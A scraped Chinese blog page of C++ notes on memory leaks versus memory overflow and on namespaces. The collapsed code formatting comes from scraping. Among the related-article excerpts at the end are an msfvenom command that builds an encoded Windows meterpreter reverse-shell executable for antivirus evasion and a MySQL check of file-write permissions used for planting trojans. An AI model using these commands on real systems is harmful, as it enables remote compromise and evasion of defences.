当前位置: 首页 > article >正文

c++随记

内存溢出与内存泄漏的区别

今天老师提出的概念问题,搜索了一下

# 内存泄漏与内存溢出的区别

内存泄漏(Memory Leak)和内存溢出(Memory Overflow/Out of Memory)是两种常见的内存相关问题,但它们的含义和产生原因不同:

## 内存泄漏 (Memory Leak)
- **定义**:程序中已动态分配的堆内存由于某种原因未能被释放,造成系统内存的浪费
- **原因**:
  - 分配的内存未被正确释放(如忘记调用free/delete)
  - 对象引用未被及时清除(如集合中的对象不再使用但未被移除)
  - 监听器未注销
  - 静态集合持有对象引用

- **特点**:
  - 逐渐消耗内存
  - 长时间运行后可能导致内存不足
  - 泄漏的内存无法被再次使用

## 内存溢出 (Memory Overflow/Out of Memory)
- **定义**:程序申请内存时,系统没有足够的内存空间供其使用
- **原因**:
  - 内存泄漏累积导致
  - 程序确实需要的内存超过系统可提供量
  - 内存设置过小(如JVM堆内存设置不足)
- **特点**:
  - 通常是突然发生的
  - 直接导致程序崩溃或异常

## 关键区别
1. **因果关系**:内存泄漏长期积累可能导致内存溢出
2. **发生时机**:泄漏是渐进过程,溢出是瞬时事件
3. **可恢复性**:泄漏的内存无法回收,溢出在增加内存后可能解决
4. **表现形式**:泄漏可能不会立即显现问题,溢出会直接导致程序失败

 命名空间

在C语言编程的时候,如果出现了同名的全局变量和同名的函数就会编译出错 ,虽然他们在不同的文件中,但是由于同名,编译的时候就会报错。

在C++中提供了命名空间的机制来解决同名符号冲突的问题,一个命名空间就是一个作用域在不同的命名空间中命名相同的符号代表不同的实体。

空间定义

namespace 名称
{成员
}

namespace  是命名空间定义的关键字

名称 是定义的时候指定的命名空间的名字

成员 是命名空间定义的时候包含的内容, 可以是变量、常量、函数、结构体/联合体/枚举、类、嵌套名字空间

namespace A
{int global = 10;void function(void){printf("This is namespace A\n");}
}
namespace B
{int global = 20;void function(void){printf("This is namespace B\n");}    
}

空间声明

namespace 命名
{成员声明;
}

 

namespace A
{extern int global;extern void function(void);
}

 

空间成员使用

 

1.通过 命名空间名字::成员 的方式使用命名空间的成员。

int main(void)
{A::global = 500;B::function();
}

2. 通过使用 using namespace 命名空间名字 语句直接使用命名空间成员

using namespace A;
int main(void)
{global = 500;function();return 0;
}

3.声明命名空间中的一个变量(不常用)
 

using A::global;//声明命名空间A中的变量global
int main(void)
{global = 500;return 0;
}

命名空间别名

可以给命名空间起一个别名 , 别名是已定义的命名的可替换的名称 。一个命名空间可以有许多别名,所有别名以及原来的命名空间名字都可以互换使用。

别名定义 : namespace 别名 = 已定义的命名空间名称

 

namespace A
{int global = 10;void function(void){printf("This is namespace A\n");}
}
namespace A_Alias = A;
int main(void)
{cout << "global : " << A::global << endl;cout << "global : " << A_Alias::global << endl;return 0;
}

全局命名空间 

 

定义在 全局作用域的名字(在任意类、函数或命名空间外部声明的名字) ,他们是定义在全局命名空间中的。全局命名空间是隐式声明的,存在于每个程序中 。

全局命名空间的成员使用 ::成员名 的形式来访问

int global = 10;
void function(void)
{cout << "function" << endl;
}
int main()
{::global = 50;::function();return 0;
}

 

匿名命名空间

 

未命名的命名空间与其他命名空间不同, 未命名的命名空间定义的成员,只能在它所定义的文件中使用,不能跨文件访问

namespace
{int global = 10;void function(void){printf("Hello World\n");return;}
}
int main(void)
{global = 200;//直接使用,不能跨文件使用function(); //直接使用,不能跨文件使用return 0;
}

 

相关文章:

c++随记

内存溢出与内存泄漏的区别 今天老师提出的概念问题&#xff0c;搜索了一下 # 内存泄漏与内存溢出的区别 内存泄漏(Memory Leak)和内存溢出(Memory Overflow/Out of Memory)是两种常见的内存相关问题&#xff0c;但它们的含义和产生原因不同&#xff1a; ## 内存泄漏 (Memor…...

GOC作业

实验室logo 题目描述 绘制烧毁实验室logo&#xff0c;它是由半径120&#xff0c;颜色6号色的空心元构成&#xff0c;中间的图案由线段长度为75&#xff0c;半径为15的实心圆构成&#xff0c;颜色从1号色开始&#xff0c;到6号色&#xff0c;如图所示 代码参考&#xff1a; …...

本地部署仓库管理工具 Gitlab 并实现外部访问

Gitlab是一款自托管的 Git 仓库管理工具&#xff0c;它提供了完整的代码管理功能&#xff0c;包括代码托管、版本控制、代码合并请求、问题追踪、持续集成等。 本文将详细的介绍如何利用 Docker 在本地部署 Gitlab 并结合路由侠实现外网访问本地部署的 Gitlab 。‌ 第一步&am…...

华鲲振宇天工TG225 B1国产服务器试装openEuler22.03 -SP4系统

今天测试了一下在华鲲振宇公司的天工TG225 B1国产服务器上进行openEuler22.03 -SP4操作系统的试装&#xff0c;本文记录整个测试过程。 一、服务器信息 1、服务器型号 Huakun TG225 B1 (D) 2、登录IPMI帐户信息 初始用户名Tech.ON 密码TianGong8000 二、磁盘RAID配置 测试…...

自然语言处理NLP-文本预处理

在自然语言处理&#xff08;NLP&#xff09;中&#xff0c;文本预处理是构建高效模型的关键步骤。原始文本通常包含噪声和不一致性&#xff0c;直接影响模型性能。通过预处理&#xff0c;可以提取结构化信息、减少计算复杂度&#xff0c;并提升模型对语义的理解能力。 一、为什…...

linux常用指令(9)

加油同志们,我们离胜利不远了,再有两天我们就可以了解完linux的一些基本常用指令了,到时我们便可以进入一些shell脚本语法了,那么话不多说,来看. 1.more指令 功能描述&#xff1a;more指令是一个基于vi编辑器的文本过滤器,它以全屏幕的方式按页显示文本文件的内容. 基本语法…...

【windows搭建lvgl模拟环境之VSCode】

搭建vscodelvgl8.3所有资料&#xff0c;0积分 通过在windows搭建LVGL模拟环境方便UI界面开发和调试&#xff0c;后续只需将相关的代码移植到项目中即可&#xff0c;方便调试&#xff0c;PC上支持下列模拟器&#xff1a; 本文说明两种方法搭建模拟器环境&#xff0c;分别采用&am…...

【BFS染色问题】P1162填涂颜色例题+核心逻辑

文章目录 【算法思路】【代码示例】 BFS处理染色问题的核心逻辑 【算法思路】 要判断一个数字 0 是否在闭合圈内&#xff0c;可以换个角度思考。不在闭合圈内的 0 是可以从方阵的边界出发&#xff0c;通过上下左右移动&#xff0c;只经过其他 0 到达的。 思路①.我们可以从方…...

【多学科稳定EI会议大合集】计算机应用、通信信号、电气能源工程、社科经管教育、光学光电、遥感测绘、生物医学等多学科征稿!

在当今科技高速发展的时代&#xff0c;多学科领域的学术交流与融合显得尤为重要。以下是稳定EI会议合集&#xff0c;涵盖计算机、信息通信、电气能源、社科经管教育、光学遥感、生物医学等多个学科领域。 会议皆已通过国际知名出版社出版审核&#xff0c;EI检索稳定&#xff0…...

ElasticSearch -- 部署完整步骤

前期准备 创建用户&#xff1a; sudo useradd hadoop sudo passwd hadoop# 密码 xxx系统层面&#xff0c;禁用内存交换 sudo swapoff -a修改 sudo vi /etc/security/limits.conf hadoop hard memlock unlimited hadoop soft memlock unlimited hadoop soft nofile 65536 had…...

医学交互作用分析步骤和目的(R语言)

医学交互作用分析的目的和用途&#xff08;R语言&#xff09; 医学交互作用分析一直是医学数据分析的组成部分&#xff0c;总结最近的一些认识。 目的&#xff1a; 在独立危险因素鉴定的研究中&#xff0c;&#xff08;独立危险因素的&#xff09;交互作用可以作为独立危险因…...

创新前沿 | 接管主机即刻增量CDP备份,高效保障接管期间业务安全!

科力锐创新前沿系列 接管主机增量CDP备份 高效保障接管业务安全 当核心系统遭遇系统故障或误操作导致数据逻辑损毁等&#xff0c;往往需要将生产业务主机接管起来&#xff0c;继续对外提供服务&#xff0c;保障业务连续性。 然而&#xff0c;你的接管主机真的安全吗?一旦接…...

《基于python游戏设计与实现》开题报告

个人主页:@大数据蟒行探索者 一、研究背景、目的及意义 (一)研究背景 游戏的普及与成功:随着智能手机的普及和网络技术的发展,手机游戏产业逐渐成熟,成为娱乐文化产业的重要组成部分。《开心消消乐》作为一款休闲类游戏,自上线以来凭借其简单易上手的玩法和丰富的…...

Netty源码—7.ByteBuf原理三

大纲 9.Netty的内存规格 10.缓存数据结构 11.命中缓存的分配流程 12.Netty里有关内存分配的重要概念 13.Page级别的内存分配 14.SubPage级别的内存分配 15.ByteBuf的回收 9.Netty的内存规格 (1)4种内存规格 (2)内存申请单位 (1)4种内存规格 一.tiny&#xff1a;表示从…...

(免费开源)图片去水印以及照片擦除功能,你会选择使用吗?

图片去水印以及相关人物擦除是一个非常小众的需求&#xff0c;就是将原本图片上的文字或者logo去除让变成一个干净的图片&#xff0c;但市面上很多都是付费的&#xff0c;今天就介绍一下这款免费工具。 工具演示效果 工具介绍 名称&#xff1a;lama-projct 利用AI模型训练LaM…...

2025-03-26 学习记录--C/C++-PTA 6-2 顺序表操作集

合抱之木&#xff0c;生于毫末&#xff1b;九层之台&#xff0c;起于累土&#xff1b;千里之行&#xff0c;始于足下。&#x1f4aa;&#x1f3fb; 一、题目描述 ⭐️ 6-2 顺序表操作集 本题要求实现顺序表的操作集。 函数接口定义&#xff1a; &#x1f447;&#x1f3fb; …...

SQL-木马植入、报错注入及其他

一、读写权限确认 show global variables like %secure%; 查看mysql全局变量的配置&#xff0c;当输入以上命令时&#xff0c;结果 secure_file_priv 空的时候&#xff0c;任意读写 secure_file_priv 某个路径的时候&#xff0c;只能在规定的那个路径下读写 secure_file_pri…...

用C#实现UDP服务器

对UDP服务器的要求 如同TCP通信一样让UDP服务端可以服务多个客户端 需要具备的条件&#xff1a; 1.区分消息类型(不需要处理分包、黏包) 2.能够接收多个客户端的消息 3.能够主动给自己发过消息的客户端发消息(记录客户端信息)…...

React 组件之间的通信

React 组件通信 对于 React 组件之间的通信&#xff0c;我们首先了解一下 React 组件通信的设计理念。 单向数据流&#xff08;Unidirectional Data Flow&#xff09; 数据流向明确&#xff1a; 在 React 中&#xff0c;数据总是从父组件流向子组件&#xff08;通过 Props 传…...

[C++面试] span<char>和string_view的差别

1、概念 std::string_view是领域特定设计&#xff08;字符串&#xff09;。C17引入&#xff0c;仅用于处理以空字符&#xff08;\0&#xff09;结尾的字符序列&#xff1b;仅支持字符类型&#xff08;如 char、wchar_t、std::string&#xff09;&#xff0c;用于高效访问字符串…...

在 VMware Workstation 17 中安装的 Ubuntu 虚拟机无法使用桥接模式

在 VMware Workstation 17 中安装的 Ubuntu 虚拟机无法使用桥接模式时&#xff0c;通常是由于 网络配置错误、桥接适配器选择不当或主机网络环境限制 导致。以下是详细的排查和解决方法&#xff1a;我采用第一步就解决了问题 1. 检查 VMware 桥接模式配置 步骤 1&#xff1a;…...

谐波和三相不平衡度

谐波(Harmonics) 谐波是指在电力系统中,由于非线性负载的作用,导致电流或电压波形偏离理想正弦波形的现象。具体来说: 定义: 在理想情况下,交流电的电压和电流波形是正弦波。然而,由于电力系统中存在非线性负载(如变频器、整流器、开关电源等),这些负载会使得电流或…...

深克隆和浅克隆(建造者模式,内含简版)

让我们来看一个例子&#xff1a; 设计一个客户类Customer&#xff0c;其中客户地址存储在地址类Address中&#xff0c;用浅克隆和深克隆分别实现Customer对象的复制并比较这两种克隆方式的异同。 代码实现 Customer类和Address类都是实现的Java 内置的 java.lang.Cloneable …...

印刷电路板 (PCB) 的影响何时重要?在模拟环境中导航

我和我的同事们经常被问到关于 PCB 效应的相同问题&#xff0c;例如&#xff1a; 仿真何时需要 PCB 效果&#xff1f; 为什么时域仿真需要 PCB 效应&#xff1f; 当 PCB 效应必须包含在仿真中时&#xff0c;频率是否重要&#xff1f; 设计人员应该在多大程度上关注 VRM 模型中包…...

循环队列 bug

1. 题目描述 spfa判断负环 LC 设计循环队列 2. 普通单队列 int q[N]; int hh 0, tt -1; while(hh < tt) // empty {int t q[ hh ]; // push/* do something */q[ tt ] j; // pop }3. 错误的循环队列 int q[N]; int hh 0, tt -1; while(hh ! (tt 1) % N) // 非空 …...

Leetcode 最小基因变化

java solution&#xff1a;BFS 算法 class Solution {public int minMutation(String startGene, String endGene, String[] bank) {//首先创建一个集合来存储有效基因串Set<String> bankSet new HashSet<>(Arrays.asList(bank));if(!bankSet.contains(endGene))…...

输出输入练习

1. 题目&#xff1a;这个程序将向用户提出一个"y/N"问题&#xff0c;然后把用户输入的值赋值给answer变量。要求&#xff1a;针对用户输入y或y 和N或n进行过滤 #include <iostream>using namespace std;int main(){char answer;cout<<"请问可以格式…...

人员进出新视界:视觉分析算法的力量

视觉分析赋能离岗检测新策略 随着时代的发展&#xff0c;失业率增加&#xff0c;社会安保压力也随之增大。企业为了提升管理效率&#xff0c;保障园区安全&#xff0c;对员工离岗检测的需求日益迫切。传统的离岗管理方式&#xff0c;如人工巡逻、打卡记录等&#xff0c;不仅效率…...

3DGS较真系列

引言 机器视觉领域中&#xff0c;新颖视图合成技术的核心目标是通过图像或视频构建可以被计算机处理和理解的3D模型。该技术被认为是机器理解真实世界复杂性的基础&#xff0c;催生了大量的应用&#xff0c;包括3D建模、虚拟现实、自动驾驶等诸多领域。回顾其发展历史&#xf…...

MSF木马的生成及免杀

先简单生成一个木马 ┌──(kali㉿kali)-[~] └─$ msfvenom -p windows/meterpreter/reverse_tcp lhosts61.139.2.130 lport3333 -e cmd/echo -i 10 -f exe -o cmd_echo_113_3333_10.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the pa…...